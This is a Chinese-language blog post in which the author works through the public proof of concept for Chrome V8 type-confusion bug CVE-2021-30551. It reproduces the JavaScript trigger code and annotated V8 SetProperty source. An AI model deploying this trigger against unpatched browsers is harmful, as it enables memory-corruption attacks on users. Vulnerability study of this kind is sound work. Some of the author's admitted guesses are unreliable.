Chrome v8 型別混淆 CVE-2021-30551(只有原理上的一點理解)
阿新 • • 發佈:2021-07-30
總共看了2天的POC,為了不讓成果流失,記錄一下。
Chrome 在野0day:CVE-2021-30551的分析與利用 (qq.com)主要參考
https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2021/CVE-2021-30551.html 次要參考
V8 是怎麼跑起來的 —— V8 中的物件表示_ThornWu-CSDN部落格V8 屬性物件
瀏覽器是如何工作的:Chrome V8讓你更懂JavaScript - 知乎 (zhihu.com)理解 Chrome 中的 map
首先需要了解一下 map 和object 的關係:
Object 中的 All own properties 儲存著屬性值,map 中儲存著屬性的狀態、描述等。
global_object = {}; setPropertyViaEmbed = (object, value, handler) => { const embed = document.createElement('embed'); embed.onload = handler; embed.type = 'text/html'; Object.setPrototypeOf(global_object, embed); document.body.appendChild(embed); object.corrupted_prop= value; embed.remove(); } createCorruptedPair = (value_1, value_2) => { const object_1 = { __proto__: global_object }; object_1.regular_prop = 1; setPropertyViaEmbed(object_1, value_2, () => { Object.setPrototypeOf(global_object, null); object_1.corrupted_prop = value_1; }); const object_2= { __proto__: global_object }; object_2.regular_prop = 1; setPropertyViaEmbed(object_2, value_2, () => { Object.setPrototypeOf(global_object, null); object_2.corrupted_prop = value_1; //在重入的過程中建立剛才不存在的命名屬性 object_1.regular_prop = 1.1 //設定 map 為 deprecated }); return [object_1, object_2];
const array = [1.1];
array.prop = 1;
const [object_1, object_2] = createCorruptedPair(array, 2261620.509803918);
jit = (object) => {
return object.corrupted_prop[0];
}
for (var i = 0; i < 100000; ++i)
jit(object_1);
jit(object_2);
首先,針對函式的形式需要理解,POC 中的函式宣告方式是箭頭函式。(注:JS 中一切都是物件)
FunctionName = (Arg1, Arg2) => { xxxxx } // 針對多個引數的函式宣告、定義方式
()=> { xxxxxxxxx } // 無引數的 ,匿名函式
接著拆解 POC 進行理解,首先是對變數進行初始化:
注意 POC 最開頭的 global_object ,此處的花括號表明建立了一個空的物件。
然後申請了一個數組,其中只有一個元素,值為 1.1 。接著將 array 的屬性設定為 1。
接著呼叫createCorruptedPair 函式:
該函式的引數為 array 和 一個特製的浮點數。
const object_1 = { __proto__: global_object }; // 申明並定義了一個物件,該物件的原型是 global_object == NULL
接著訪問 object_1 的一個未知的屬性名(未定義過的),並將其設定為 1。
如果目標物件沒有這個未知的屬性名,那麼會呼叫 SetPropertyInternal 遍歷這個物件的原型鏈,如果能找到一個攔截器(interceptor),就會執行這個攔截器的函式來決定這個是否是一個“只讀屬性”的異常。此處的 SetPropertyInternal 會返回這個屬性不存在,然後會呼叫 AddDataProperty 函式來建立屬性。但是若在建立屬性之前已存在同名的該屬性,且此時的 map 為 deprecated 狀態(map 是儲存 v8 中物件的描述命名屬性),那麼只會更新屬性的狀態而不會去修改 map 的描述符(猜測是將狀態從消極轉為活躍)
Maybe<bool> Object::SetProperty(LookupIterator* it, Handle<Object> value,
StoreOrigin store_origin,
Maybe<ShouldThrow> should_throw) {
if (it->IsFound()) {
bool found = true;
Maybe<bool> result =
SetPropertyInternal(it, value, should_throw, store_origin, &found);
if (found) return result;
}
[...]
return AddDataProperty(it, value, NONE, should_throw, store_origin);
}
Maybe<bool> Object::SetPropertyInternal(LookupIterator* it,
Handle<Object> value,
Maybe<ShouldThrow> should_throw,
StoreOrigin store_origin, bool* found) {
[...]
do {
switch (it->state()) {
[...]
case LookupIterator::INTERCEPTOR: {
if (it->HolderIsReceiverOrHiddenPrototype()) {
Maybe<bool> result =
JSObject::SetPropertyWithInterceptor(it, should_throw, value); //呼叫戶定義 JS 程式碼
if (result.IsNothing() || result.FromJust()) return result;
} else {
Maybe<PropertyAttributes> maybe_attributes =
JSObject::GetPropertyAttributesWithInterceptor(it);
if (maybe_attributes.IsNothing()) return Nothing<bool>();
if ((maybe_attributes.FromJust() & READ_ONLY) != 0) {
return WriteToReadOnlyProperty(it, value, should_throw);
}
if (maybe_attributes.FromJust() == ABSENT) break;
*found = false;
return Nothing<bool>();
}
break;
}
[...]